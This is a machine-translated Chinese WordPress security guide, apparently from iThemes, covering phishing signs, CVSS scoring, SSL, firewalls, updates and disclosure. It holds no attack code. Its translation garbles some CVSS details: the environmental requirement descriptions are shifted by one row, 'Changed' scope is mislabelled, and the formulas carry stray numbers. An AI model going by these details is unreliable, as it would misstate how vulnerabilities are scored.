    網絡釣魚是一種網絡攻擊方法,使用電子郵件、社交媒體、短信和電話來誘騙受害者提供個人信息。 然後攻擊者將使用該信息訪問個人帳戶或進行身份欺詐。

    如何發現網絡釣魚電子郵件

    正如我們在本文前面了解到的,一些漏洞需要某種類型的用戶交互才能利用。 黑客誘騙人們參與其邪惡活動的一種方式是發送網絡釣魚電子郵件。

    學習如何發現網絡釣魚電子郵件可以避免您無意中參與網絡犯罪分子的計劃。

    發現網絡釣魚電子郵件的 4 個技巧

    1. 查看發件人電子郵件地址- 如果您收到來自企業的電子郵件,“@”之後的發件人電子郵件地址部分應與企業名稱匹配。

      如果電子郵件代表公司或政府實體,但使用的是“@gmail”等公共電子郵件地址,則表明存在網絡釣魚電子郵件。

      留意域名的細微拼寫錯誤。 例如,讓我們看看這個電子郵件地址 [email protected] 我們可以看到 Netflix 在末尾有一個額外的“x”。 拼寫錯誤清楚地表明該電子郵件是由騙子發送的,應立即刪除。
    2. 查找語法錯誤– 充滿語法錯誤的電子郵件是惡意電子郵件的標誌。 所有單詞都可能拼寫正確,但句子中缺少會使句子連貫的單詞。 例如,“您的帳戶被黑了。 更新密碼以確保帳戶安全”。

      每個人都會犯錯,並不是每封有一兩個錯字的電子郵件都試圖欺騙您。 但是,在回答之前,需要仔細查看多個語法錯誤。
    3. 可疑的附件或鏈接——在與電子郵件中包含的任何附件或鏈接進行交互之前,值得暫停片刻。

      如果您不認識電子郵件的發件人,則不應下載電子郵件中包含的任何附件,因為它可能包含惡意軟件​​並感染您的計算機。 如果電子郵件聲稱來自企業,您可以在打開任何附件之前 Google 其聯繫信息以驗證電子郵件是從他們發送的。

      如果電子郵件包含鏈接,您可以將鼠標懸停在鏈接上,以驗證 URL 是否將您發送到應有的位置。
    4. 提防緊急請求——詐騙者常用的伎倆是製造緊迫感。 惡意電子郵件可能會產生需要立即採取行動的場景。 您思考的時間越多,您就越有可能確定該請求來自騙子。

      您可能會收到“老闆”發來的電子郵件,要求您盡快向供應商付款,或者收到銀行的電子郵件,通知您您的帳戶已被黑客入侵,需要立即採取行動。

    如何衡量 WordPress 漏洞的嚴重程度

    有幾種類型的 WordPress 漏洞,都具有不同程度的風險。 幸運的是,國家漏洞數據庫——美國國家科學技術研究院的一個項目——有一個漏洞評分系統計算器來確定漏洞的風險。

    WordPress 漏洞指南的這一部分將涵蓋漏洞評分系統的指標和嚴重性級別。 雖然本節更具技術性,但一些用戶可能會發現它有助於加深他們對如何評估 WordPress 漏洞及其嚴重性的理解。

    常見的 WordPress 漏洞評分系統指標

    漏洞評分系統的等式使用三組不同的評分來確定總體嚴重性評分。

    1. 基本指標

    基本指標組代表在用戶環境中保持不變的漏洞特徵。

    基本指標分為兩組,可利用性和影響。

    1.1. 可利用性指標

    可利用性分數基於攻擊者利用該漏洞的難度。 分數是使用 5 個不同的變量計算的。

    1.1.1. 攻擊向量 (AV)

    攻擊向量分數基於利用漏洞的方法。 攻擊者利用該漏洞的距離越遠,得分越高。

    這個想法是,與需要物理訪問設備漏洞利用的漏洞相比,如果該漏洞可以通過網絡利用,則潛在攻擊者的數量將會更多。

    潛在的攻擊者越多,被利用的風險就越大,因此漏洞的攻擊向量得分會越高。

    需要訪問描述
    網絡 (N) 可通過網絡利用的漏洞 訪問意味著易受攻擊的組件可遠程利用
    相鄰網絡 (AV:A) 可通過相鄰網絡利用的漏洞 訪問意味著易受攻擊的組件綁定到網絡堆棧。 但是,攻擊僅限於相同的共享物理或邏輯網絡。
    本地 (AV:L) 一個可利用 Local 的漏洞 訪問意味著易受攻擊的組件未綁定到網絡堆棧。 在某些情況下,攻擊者可能在本地登錄以利用該漏洞,或者可能依靠用戶交互來執行惡意文件。
    物理 (AV:P) 可利用 Physical 的漏洞 使用權 要求攻擊者物理接觸或操縱易受攻擊的組件,例如將外圍設備連接到系統。
    1.1.2. 攻擊複雜度 (AC)

    複雜性值基於利用漏洞所需的條件。 某些情況可能需要收集有關目標、某些系統配置設置的存在或計算異常的更多信息。

    利用漏洞所需的複雜性越低,攻擊複雜性得分越高。

    利用條件複雜性說明
    低 (L) 不存在專門的訪問條件或情有可原的情況。 攻擊者可以期望針對易受攻擊的組件取得可重複的成功。
    高 (H) 成功的攻擊取決於攻擊者無法控制的條件。 成功的攻擊不能隨意完​​成,但需要攻擊者在預期成功攻擊之前投入一些可衡量的努力來準備或執行針對易受攻擊的組件。
    1.1.3. 所需權限 (PR)

    特權要求分數是根據攻擊者在利用漏洞之前必須獲得的特權來計算的。 我們將在 Authenticated vs. Unauthenticated 部分深入探討這一點。

    如果不需要特權,分數將是最高的。

    需要權限級別描述
    無 (N) 攻擊者在攻擊之前是未經授權的,因此不需要訪問任何設置或文件來執行攻擊。
    低 (L) 攻擊者被授權提供基本用戶功能的權限,這些功能通常只能影響用戶擁有的設置和文件。 或者,具有低權限的攻擊者可能僅對非敏感資源造成影響。
    高 (H) 攻擊者被授權(即需要)特權,這些特權對可能影響組件範圍設置和文件的易受攻擊的組件提供重要(例如,管理)控制。
    1.1.4. 用戶交互 (UI)

    用戶交互分數是根據漏洞是否需要用戶交互才能利用來確定的。

    當攻擊者無需用戶交互即可利用該漏洞時,得分最高。

    用戶交互需求描述
    無 (N) 可以在沒有任何用戶交互的情況下利用易受攻擊的系統。
    必需 (R) 成功利用此漏洞需要用戶採取一些措施才能利用該漏洞,例如說服用戶單擊電子郵件中的鏈接。
    1.1.5. 範圍

    範圍評分基於一個軟件組件中的漏洞,以影響超出其安全範圍的資源。

    安全範圍包含僅向該組件提供功能的其他組件,即使這些其他組件具有自己的安全權限。

    當範圍發生變化時得分最高。

    範圍描述
    不變 (U) 被利用的漏洞只能影響由同一權限管理的資源。 在這種情況下,易受攻擊的組件和受影響的組件是相同的。
    改變 (U) 被利用的漏洞可能會影響超出易受攻擊組件預期授權權限的資源。 在這種情況下,易受攻擊的組件和受影響的組件是不同的。
    1.2. 影響指標

    影響指標捕捉成功利用漏洞的直接影響。

    1.2.1. 機密影響 (C)

    此機密影響分數衡量對被利用軟件管理的信息的機密性的影響。

    當受影響軟件的損失最高時,得分最高。

    保密影響描述
    高 (H) 完全失去機密性,導致被利用軟件中的所有資源都被洩露給攻擊者。
    低 (L) 有一些機密性的損失。 攻擊者獲得了一些受限信息的訪問權限。
    無 (N) 被利用的軟件不會丟失機密性。
    1.2.2. 誠信(一)

    該完整性評分基於成功利用漏洞對完整性的影響。

    當受影響軟件的後果最大時,得分最高。

    完整性影響描述
    高 (H) 完全喪失完整性或完全喪失保護。
    低 (L) 數據修改不會對受影響的軟件產生直接、嚴重的影響。
    無 (N) 受影響的軟件不會丟失完整性。
    1.2.3. 可用性 (A)

    可用性分數基於被利用軟件的可用性的影響。

    當受影響組件的後果最大時,得分最高。

    可用性影響描述
    高 (H) 完全喪失可用性,導致攻擊者完全拒絕訪問被利用軟件中的資源。
    低 (L) 性能降低或資源可用性中斷。
    無 (N) 對受影響軟件內的可用性沒有影響。
    基礎分數 CVSS 分數計算

    基本分數是影響和可利用性子分數方程的函數。 其中基本分數定義為,

     If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
    2. 時間分數指標

    時間指標衡量漏洞利用技術的當前狀態、是否存在任何補丁或變通方法,或者人們對漏洞描述的信心。

    時間指標預計會並且會隨著時間而改變。

    2.1. 漏洞利用代碼成熟度 (E)

    漏洞利用代碼的成熟度基於漏洞被攻擊的可能性。

    漏洞越容易被利用,漏洞得分就越高。

    漏洞利用代碼成熟度值描述
    未定義 (X) 將此值分配給指標不會影響分數。 這是評分方程跳過此指標的信號。
    高 (H) 存在功能性自治代碼,或者不需要利用,並且可以廣泛獲得詳細信息。
    功能性 (F) 功能漏洞利用代碼可用。 該代碼適用於存在漏洞的大多數情況。
    概念驗證 (P) 概念驗證漏洞利用代碼可用,或者攻擊演示對大多數係統不實用。
    未經證實 (U) 沒有可用的漏洞利用代碼,或者漏洞利用完全是理論上的。
    2.2. 修復級別 (RL)

    漏洞的修復級別是確定優先級的重要因素。 變通方法或修補程序可能會提供臨時修復,直到發布正式補丁或升級。

    修復越不正式和永久,漏洞分數就越高。

    修復級別值描述
    未定義 (X) 未定義的修復值意味著沒有足夠的信息來選擇其他修復值之一。 Not Defined 的值對整體 Temporal Score 沒有影響,對得分的影響與 Unavailable 相同。
    不可用 (U) 沒有可用的解決方案。
    解決方法 (W) 可以使用非官方、非供應商的解決方案。 例如,用戶或其他一些第三方創建了補丁或解決方法來緩解漏洞。
    臨時修復 (T) 可用的官方但臨時修復。 例如,軟件開發人員發布了臨時修補程序或提供了一種解決方法來緩解漏洞。
    官方修復 (O) 軟件開發商已經針對該漏洞發布了官方補丁。
    2.3. 報告置信度 (RC)

    報告置信度指標衡量漏洞存在的置信度以及技術細節的可信度。

    供應商或其他信譽良好的來源驗證的漏洞越多,得分就越高。

    報告置信度值描述
    未定義 (X) 未定義的報告置信度值意味著沒有足夠的信息來分配其他置信度值之一。 未定義的值對整體報告置信度得分沒有影響,對得分的影響與不可用相同。
    確認 (C) 一份詳細的報告包含如何利用漏洞的概念,或者軟件開發人員已確認該漏洞的存在。
    合理 (R) 存在包含重要細節的報告,但研究人員對根本原因並不完全有信心,或者無法完全確認可能導致漏洞利用的每個交互。 但是,該錯誤是可重現的,並且至少存在一個概念證明。
    未知 (U) 有影響的報告表明存在漏洞,但漏洞的原因尚不清楚。
    時間 CVSS 分數計算

    時間分數定義為,

     Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
    3. 環境評分指標

    環境指標允許分析師根據受影響 IT 資產的重要性自定義 CVSS 評分。

    環境可利用性和影響度量是基本度量的修改等效項,並根據組織基礎架構的組件放置分配值。 請參閱上述基本指標部分以查看可利用性和影響指標的值和說明。

    環境指標包含一個額外的組,Impact Subscore Modifiers。

    3.1. 影響子分數修正指標

    Impact Subscore Modifiers 指標評估機密性 (CR)、完整性 (IR) 和可用性 (AR) 的特定安全要求,允許根據用戶環境對環境評分進行微調。

    影響分值描述
    未定義 (CR:X) 丟失(機密性/完整性/可用性)可能對組織的影響有限。
    低 (CR:L) 丟失(機密性/完整性/可用性)可能會對組織產生嚴重影響。
    中 (CR:M) 丟失(機密性/完整性/可用性)可能對組織產生災難性的影響。
    高 (CR:H) 這是忽略此分數的信號。
    環境 CVSS 分數計算

    環境得分定義為,

     If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

    總體 CVSS 分數和嚴重性

    總體常見漏洞評分系統或 CVSS 分數是基礎、時間和環境分數的表示。

    總體 CVSS 分數可用於讓您了解漏洞的嚴重程度。

    CVSS 分數嚴重性
    0.0 沒有任何
    0.1 – 3.9 低的
    4.0 – 6.9 中等的
    7.0 – 8.9 高的
    9.0 – 10.0 危急
    真實世界 CVSS 嚴重性評級示例

    在 2020 年 12 月的漏洞綜述中,我們報告了 Easy WP SMTP 插件中的一個漏洞。 零日漏洞(我們將在下一節介紹零日漏洞)漏洞允許攻擊者控制管理員帳戶並被廣泛利用。

    查看國家漏洞數據庫條目,我們可以找到 WP SMTP 漏洞的嚴重性等級。

    讓我們從上面的 WP SMTP NVDB 屏幕截圖中分解幾件事。

    基礎評分:基礎評分為 7.5,這表明該漏洞的嚴重性等級很高。

    向量:向量告訴我們分數是基於 CVSS 3.1 漏洞方程和用於計算分數的指標。

    這是向量的度量部分。

     AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    現在讓我們使用本文前面的基本度量值和描述來了解向量的八個度量值。

    1. AV:N – 這意味著漏洞的攻擊向量 (AV) 是網絡 (N)。 換句話說,攻擊者只需要訪問網絡即可利用該漏洞。
    2. AC:L – 漏洞的攻擊複雜性 (AC) 低 (L)。 換句話說,任何腳本小子都可以利用該漏洞。
    3. PR:N – 利用該漏洞所需的特權 (PR) 為無 (N)。 因此,該漏洞不需要經過身份驗證的用戶即可利用。 (我們將在本文後面介紹經過身份驗證和未經身份驗證的漏洞之間的區別。)
    4. UI:N – 利用此漏洞所需的用戶交互 (UI) 為無 (N)。 因此,攻擊者有辦法自行利用該漏洞。
    5. S:U – 這意味著漏洞的範圍 (S) 是不變的 (U)。 在此漏洞的情況下,易受攻擊的組件和受影響的組件是相同的。
    6. C:H – 漏洞的機密性影響 (C) 為高 (H)。 當此漏洞被利用時,會導致機密性完全喪失。
    7. I:N – 此漏洞的完整性影響 (I) 為無 (N)。 當漏洞被利用時,漏洞信息的完整性或可信度不會丟失。
    8. A:N – 這意味著可用性影響 (A) 為無 (N)。 當漏洞被利用時,不會對您網站的可用性產生影響。

    CVSS 分數可以幫助我們確定任何給定漏洞的嚴重性和範圍。 在接下來的幾節中,我們將介紹一些經常包含在漏洞披露中的重要漏洞術語。

    包起來

    在本節中,我們了解了 WordPress 安全的幾個重要元素,包括黑客的動機、不同類型的黑客、網絡犯罪分子利用的漏洞、如何降低漏洞風險,以及如何確定漏洞對您造成的風險。網站。

    了解攻擊者如何在入侵我們的網站後嘗試入侵我們的網站及其目標,使我們能夠建立適當的防禦措施。

    在接下來的部分中,您將了解如何保護您的網站免受黑客可能向您發起的幾乎所有類型的攻擊。

    第 4 部分:保護您的服務器

    WordPress 安全策略的第一步是保護您的服務器。 您的服務器存儲使您的網站運行的所有文件和代碼。

    在本節中,您將學習:

    1. 選擇一個好的主機的重要性。
    2. 如何加密您網站上的通信。
    3. 防火牆如何幫助保護您的站點。

    選擇合適的主機

    並非所有的網絡主機都是平​​等的,從長遠來看,由於 WordPress 安全問題,僅根據價格選擇一個主機可能會讓您付出更多代價。 大多數共享託管環境是安全的,但有些沒有充分分離用戶帳戶。

    您的主機應該警惕應用最新的安全補丁並遵循與服務器和文件安全相關的其他重要的託管 WordPress 安全最佳實踐。 您的主機應該警惕應用最新的安全補丁並遵循與服務器和文件安全相關的其他重要的主機安全最佳實踐。

    使用 SSL 加密您的 WordPress 網站

    安全套接字層,也稱為 SSL,是一種在客戶端和網絡服務器之間提供加密的安全技術。 為了更簡單地理解這一點,“客戶端”是像 Chrome 或 Safari 這樣的網絡瀏覽器,而“網絡服務器”是您的網站或在線商店。

    判斷您訪問的網站是否安裝了 SSL 證書的一種簡單方法是查看瀏覽器的地址欄,查看 URL 是以 HTTP 還是 HTTPS 開頭。 如果 URL 以 HTTPS 開頭,則您可以安全地瀏覽使用 SSL 的站點。

    為什麼 SSL 如此重要?

    2021 年沒有SSL 證書是很昂貴的。 為什麼? 如果您的網站沒有啟用 SSL,潛在客戶將更難發現您的存在,而那些找到您網站的人可能會害怕給您錢。

    每當我們進行在線購買時,您的瀏覽器和在線商店之間都會發生通信。 例如,當我們在瀏覽器中輸入信用卡號時,瀏覽器將與在線商店共享該號碼。 商店收到付款後,它會告訴您的瀏覽器讓您知道購買成功。

    關於我們的瀏覽器和商店服務器之間共享的信息,需要記住的一件事是信息在傳輸過程中會經過多次停靠。 SSL 為通信提供加密,以確保我們的信用卡在到達商店服務器的最終目的地之前不會被看到。

    為了更好地了解加密的工作原理,請考慮我們的購買是如何交付的。 如果您曾經跟踪過在線購買的交付狀態,您就會發現您的訂單在到達您家之前停了幾次。 如果賣家沒有正確包裝您購買的商品,人們很容易看到您購買的商品。

    SSL 是防止不法分子攔截客戶端和網絡服務器之間共享的密碼和信用卡號等敏感信息的重要工具。

    為什麼每個網站都必須擁有 SSL 證書?

    您在網站上擁有 SSL 證書所獲得的 WordPress 安全優勢足以使其成為任何網站的必備品。 然而,為了鼓勵每個人保護他們的網站訪問者,網絡瀏覽器和搜索引擎創造了負面激勵來鼓勵每個人使用 SSL。 在本節中,我們將介紹未在您的網站上啟用 SSL 的代價高昂的後果。

    1. 未啟用 SSL 會損害您的 SEO 排名

    搜索引擎優化或 SEO 是優化您的網站以通過搜索引擎結果頁面有機地發現的過程。 SEO 的好處是它是您增加網站自然流量和未付費流量的絕佳方式。 如果您銷售麵包烘焙課程,您希望您的網站出現在搜索 Google 的搜索結果的第一頁,或者 Duck Duck Go 搜索麵包烘焙課程。

    如果您的網站未啟用 SSL,搜索引擎將懲罰您並降低您的排名。 谷歌用來在搜索結果中對網站進行排名的指標之一是可信度。 不讓用戶訪問不安全的網站是 Google 的最大利益,因此可信度在其排名算法中佔很大比重。 SSL 增加瞭如此多的安全性,它是 Google 如何對網站的可信度進行評分的重要組成部分。

    2. 瀏覽器將非 SSL 站點標記為不安全

    不啟用 SSL 的另一種方式會讓您付出代價,即訪問者的瀏覽器會警告他們您的網站不安全。 正如我們前面所提到的,在你安裝在您的網站的SSL證書,您的網址將形式為http改變://yourwebsite.com到https:// yourwebsite / COM。 例如,Chrome 將使用鎖定的掛鎖將 HTTPS 加密的網頁標記為安全。 或者,Chrome 會將所有 HTTP 非加密網頁的鎖定掛鎖替換為文本Not Secure

    我不會在瀏覽器標記為不安全的網站上購物,而且我不是唯一不會這樣做的人。 根據 GlobalSign 的一項研究,85% 的在線購物者會避開不安全的網站。 請記住,在 2021 年,讓您的所有網站都使用 HTTPS 而不僅僅是您的登錄和結帳頁面至關重要。 如果商店頁面被其 Web 瀏覽器標記為“不安全”,則潛在客戶可能無法進行安全結賬。

    3. 你可能會失去潛在客戶

    保護您的客戶是在您的網站上啟用 SSL 的重要原因。 如果他們願意將他們的業務委託給您,您至少可以通過使用加密的力量保護他們來回報這種信任。

    如果由於您的網站缺乏加密,黑客可以竊取您客戶的信用卡詳細信息,您不僅會失去他們的信任,還會失去他們未來的任何業務。

    如何判斷我的網站是否啟用了 SSL?

    判斷您的網站是否安裝了 SSL 證書的一種簡單方法是查看瀏覽器的地址欄中,查看 URL 是以 HTTP 還是 HTTPS 開頭。 如果 URL 以 HTTPS 開頭,則您的網站使用 SSL 進行保護。

    您還可以使用 SSL 檢查器,例如 SSL Labs。 SSL 檢查器將掃描您的站點以獲取 SSL 證書,並在您的 SSL 證書設置為過期時通知您。

    如何在我的 WordPress 網站上安裝 SSL 證書?

    如果您的 WordPress 網站缺少 SSL,您應該做的第一件事就是詢問您的託管服務提供商,看看他們是否提供免費的 SSL 證書和配置。 2021 年,大多數託管公司在其託管包中包含 SSL。 例如,iThemes Hosting 為每個網站提供和管理 SSL。

    如果您的主機沒有為您提供免費的 SSL 證書,請不要擔心,還有很多其他選擇。

    Cloudflare 為 WordPress 網站提供免費的共享 SSL 證書。 如果您不想擁有共享的 SSL 證書並且您對命令行感到滿意,那麼 CertBot 是一個很好的選擇。 Certbot 不僅會使用 Let's Encrypt 為您創建免費的 SSL 證書,還會自動為您管理證書的更新。

    2021 年必須在您的 WordPress 網站上啟用 SSL。SSL 可以保護您與客戶之間的通信,改進您的 SEO,並讓您網站的訪問者在瀏覽您的網站時感到安全。

    使用 Web 應用程序防火牆

    使用 Web 應用程序防火牆是為 WordPress 網站添加另一層保護的好方法。

    什麼是 Web 應用程序防火牆?

    WAF 或 Web 應用程序防火牆通過在訪問您的網站之前監控前往您網站的互聯網流量來幫助保護您的網站。

    通過在 WordPress 前面添加 WAF,您將在 Internet 和您的網站之間添加一個安全檢查點。 在流量可以訪問您的網站之前,它必須通過 WAF。

    如果 WAF 檢測到任何惡意流量(例如 CSRF、XSS、SQL 注入等),它會在它訪問您的網站之前將其過濾掉。 不僅如此,WAF 還可以幫助檢測 DDoS 攻擊並實施速率限制以防止您的網站崩潰。

    WordPress 安全 Web 應用程序防火牆

    實現 WAF 的 3 種方法

    有 3 種不同的方式可以實現 WAF。 讓我們來看看每種類型的優缺點。

    1. 基於網絡的 WAF基於網絡或物理的 WAF 是基於硬件的。 基於網絡的 WAF 的主要優點是來自本地安裝的低延遲。 但是,弊端來自物理設備的存儲和維護價格。 價格和物理存儲要求使其成為大多數人的糟糕選擇。
    2. 基於主機的 WAF基於主機或本地的 WAF 集成到 WordPress 中,通常使用插件。 基於主機的 WAF 的優點是它比基於網絡的 WAF 便宜。 本地 WAF 的缺點是您的服務器資源的要求。 隨著您網站上發生的流量過濾,它可能會導致您網站訪問者的頁面加載時間變慢。
    3. 基於雲的 WAF——基於雲的 WAF 通常是大多數人的最佳選擇。 基於雲的 WAF 的優點是價格實惠,不需要您管理它。 另外,在流量到達您的網站之前對其進行過濾,它不會佔用您的服務器資源並減慢您的網站速度。 Cloudflare 和 Sucuri 是流行的基於雲的防火牆提供商。

    包起來

    在本節中,我們了解了為什麼選擇合適的主機如此重要,如何保護我們的網站與其訪問者之間的通信,以及 WAF 如何幫助阻止惡意流量訪問我們的網站。

    在接下來的部分中,您將學習確保 WordPress 軟件安全的最佳實踐。

    第 5 部分:WordPress 軟件安全性部分

    每次安裝新插件或主題時,都會引入可能被黑客利用的新代碼。 在本節中,您將了解管理 WordPress、插件和主題的注意事項。

    1. 只安裝來自可信來源的軟件

    只安裝來自可信來源的 WordPress 插件和主題。 您應該只安裝從 WordPress.org、知名商業存儲庫或直接從信譽良好的開發人員那裡獲得的軟件。 您將希望避免使用“無效”版本的商業插件,因為它們可能包含惡意代碼。 如果您是安裝惡意軟件的人,那麼您如何鎖定 WordPress 網站並不重要。

    如果 WordPress 插件或主題未在開發人員的網站上分發,則您需要在下載插件之前進行盡職調查。 聯繫開發人員,看看他們是否與以免費或折扣價提供其產品的網站有任何關聯。

    2. 刪除未使用的插件和主題

    在您的網站上放置未使用或不活動的插件和主題是 WordPress 的一個主要安全錯誤。 您網站上的每一段代碼都是黑客的潛在切入點。

    開發人員在他們的插件和主題中使用第三方代碼(如 JS 庫)是常見的做法。 不幸的是,如果這些庫沒有得到妥善維護,它們可能會產生攻擊者可以利用的漏洞來入侵您的網站。

    注意:使用 iThemes Sync Pro 站點審核來檢查您的網頁是否存在具有已知安全漏洞的前端 JavaScript 庫。

    卸載並完全刪除 WordPress 網站上任何不必要的插件和主題,以限製網站上的訪問點和可執行代碼的數量。

    3. 使您的 WordPress 軟件保持最新

    保持軟件更新是任何 WordPress 安全策略的重要組成部分。 更新不僅用於錯誤修復和新功能。 更新還可以包括關鍵的安全補丁。 如果沒有該補丁,您的手機、計算機、服務器、路由器或網站就會容易受到攻擊。

    擁有一個有補丁但未應用的易受攻擊的插件或主題是被黑 WordPress 網站的罪魁禍首。 大多數漏洞被利用的漏洞的補丁之後,這意味著被釋放。

    如果他們更新了他們的軟件,那麼高度報導的 Equifax 漏洞就可以避免。 對於 Equifax 漏洞,根本沒有任何藉口。

    像更新軟件這樣簡單的事情就可以保護您。 所以不要忽視那些 WordPress 更新——更新是 WordPress 安全和所有網絡安全的最基本組件之一。

    星期二補丁

    補丁星期二是非官方術語,指的是 Microsoft 在每個月的第二個星期二發布的常規錯誤和安全修復程序。 微軟以如此可靠的節奏發布安全修復程序真是太棒了。 補丁星期二也是公開披露微軟補丁的安全漏洞的日子。

    查看 2020 年 WordPress 安全終極指南電子書中的更新內容和如何自動更新部分,了解如何自動應用補丁星期二更新。

    利用星期三

    在補丁星期二之後的星期三,經常會看到許多攻擊者在過時和未打補丁的系統上利用先前已知的漏洞。 因此,補丁星期二之後的星期三被非正式地稱為利用星期三。

    為什麼黑客會針對已修補的漏洞?

    黑客以修補漏洞為目標,因為他們知道人們不會更新(包括您網站上的插件和主題)。 在修補漏洞之日公開披露漏洞是行業標準。 公開披露漏洞後,該漏洞將成為軟件過時和未修補版本的“已知漏洞”。 具有已知漏洞的軟件很容易成為黑客的目標。

    黑客喜歡簡單的目標,並且擁有具有已知漏洞的軟件就像向黑客提供分步說明以闖入您的 WordPress 網站、服務器、計算機或任何其他聯網設備。

    負責任的披露

    您可能想知道為什麼要披露一個漏洞,如果它為黑客提供了攻擊的漏洞。 好吧,安全研究人員發現漏洞並將其私下報告給軟件開發人員是很常見的。

    在負責任的披露下,研究人員的初始報告是私下向擁有該軟件的公司的開發人員提交的,但同意在補丁發布後發布完整的詳細信息。 對於重大安全漏洞,可能會稍微延遲披露漏洞,讓更多人有時間修補。

    安全研究人員可以為軟件開發人員提供一個截止日期以響應報告或提供補丁。 如果沒有達到這個期限,那麼研究人員可能會公開披露該漏洞,迫使開發者發布補丁。

    公開披露漏洞並看似引入零日漏洞(一種沒有補丁且正在被廣泛利用的漏洞)似乎適得其反。 但是,這是研究人員必須向開發人員施壓以修補漏洞的唯一手段。

    如果黑客發現了該漏洞,他們可以悄悄地使用漏洞利用程序並對最終用戶(也就是您)造成損害,而軟件開發人員仍然滿足於不修補漏洞。

    在披露漏洞方面,Google 的 Project Zero 也有類似的指導方針。 無論漏洞是否已修補,他們都會在 90 天后發布漏洞的完整詳細信息。

    學習更新:艱難的道路

    2018 年底,黑客積極利用 WP GDPR 合規插件中的漏洞。 該漏洞允許未經授權的用戶(未登錄網站的人)修改 WP 用戶註冊設置並將默認的新用戶角色從訂閱者更改為管理員。 值得慶幸的是,WP GDPR 合規插件開發人員迅速採取行動,並在公開披露後的第二天發布了針對該漏洞的補丁。

    但是,就像漏洞利用星期三一樣,即使已經發布了補丁,黑客還是瞄準了該漏洞。 在 WP GDPR 合規漏洞披露後的幾天和幾週內,我們收到了一系列報告,稱 WordPress 網站被利用該漏洞的攻擊者入侵。

    擁有一個有補丁但未應用的易受攻擊的插件或主題是被黑 WordPress 網站的罪魁禍首。 這太令人沮喪了!!!!! 這意味著大多數 WP 黑客都可以被阻止。

    想想所有花費大量資金清理網站的人,他們在網站關閉時損失的收入,以及由於失去客戶的信任而損失的未來收入,這令人沮喪。 當您知道通過簡單的更新可以避免所有這些痛苦時,它會更加令人不安。

    iThemes Security Pro 版本管理功能可以自定義和自動化您的 WordPress 更新。

    4. 跟踪 WordPress 漏洞

    保持您的插件和主題更新不會保護您免受每個 WordPress 漏洞的影響。 一些 WordPress 插件和主題已被創建它們的開發人員放棄。

    不幸的是,如果一個廢棄的插件或主題存在漏洞,它將永遠不會得到補丁。 黑客將針對使用這些現在永久易受攻擊的插件的網站。

    跟踪漏洞是擁有安全網站與黑客容易利用的網站之間的區別。

    如果您的網站上有一個帶有已知漏洞的廢棄插件,那麼您就是在為黑客提供接管您網站所需的藍圖。 這就是為什麼您必須跟踪所有最新漏洞的原因。

    很難跟踪每個已披露的 WordPress 漏洞並將該列表與您在網站上安裝的插件和主題的版本進行比較。 跟踪漏洞是擁有安全網站與黑客容易利用的網站之間的區別。

    給你的好消息! 我們在 WordPress 漏洞綜述中跟踪並分享每個已披露的漏洞。

    5. 掃描您的網站是否存在漏洞

    保護您的網站免受黑客攻擊的更快方法是使用自動掃描來檢查您的網站是否存在已知漏洞。

    iThemes Security Pro Site Scanner 是您在所有 WordPress 網站上自動化漏洞保護的方式。 站點掃描程序會檢查您的站點是否存在已知漏洞,並會在可用時自動應用補丁。

    iThemes Security Pro 站點檢查 3 種類型的漏洞。

    1. WordPress 漏洞
    2. 插件漏洞
    3. 主題漏洞

    iThemes Sync Pro 站點審核功能利用 Google Lighthouse 的強大功能來保護您的網站。 站點審核檢查並標記包含具有已知安全漏洞的前端 JavaScript 庫的頁面。

    開發人員在他們的插件和主題中使用第三方代碼(如 JS 庫)是常見的做法。 不幸的是,如果這些庫沒有得到妥善維護,它們可能會產生攻擊者可以利用的漏洞來入侵您的網站。 使用具有已知漏洞的組件在 OWASP Top 10 列表中。

    現場審核救了我的培根! 我創建了一個審計計劃,讓 Sync Pro 每週執行一次自動審計,並將審計報告通過電子郵件發送給我。 我保持所有更新,這就是為什麼當我在我的網站審核中看到我使用具有已知安全漏洞的 JavaScript 庫時感到震驚的原因。

    該報告向我指出了網站 WordPress 目錄中的一個過時版本的 jQuery,其中散佈著已知漏洞! 幸運的是,我在 Sync Pro Site Audit 中看到我使用了具有已知安全漏洞的 JavaScript 庫,並且能夠在我的網站遭到黑客攻擊之前解決問題。

    包起來

    正確管理使您的網站運行的軟件,包括您的 WordPress 插件、主題和 WordPress 核心,將對您的 WordPress 安全策略大有幫助,保護您的網站免受在線攻擊者的侵害。

    第 6 部分:保護您的 WordPress 登錄

    WordPress 登錄 URL 對於每個 WordPress 站點都是相同的,並且不需要任何特殊權限即可訪問。 任何有使用 WordPress 經驗的人都知道登錄 URL 位於/wp-login.php頁面上。

    WordPress 登錄頁面的可訪問性使其成為任何 WordPress 網站中受攻擊最多——也可能是最容易受到攻擊的部分。 對我們來說幸運的是,iThemes Security Pro 插件可以輕鬆保護您的 WordPress 登錄。

    讓我們來看看 iThemes Security Pro 中的工具,您可以使用它們來保護您的 WordPress 登錄並使其幾乎無法滲透!

    1. 限制登錄嘗試

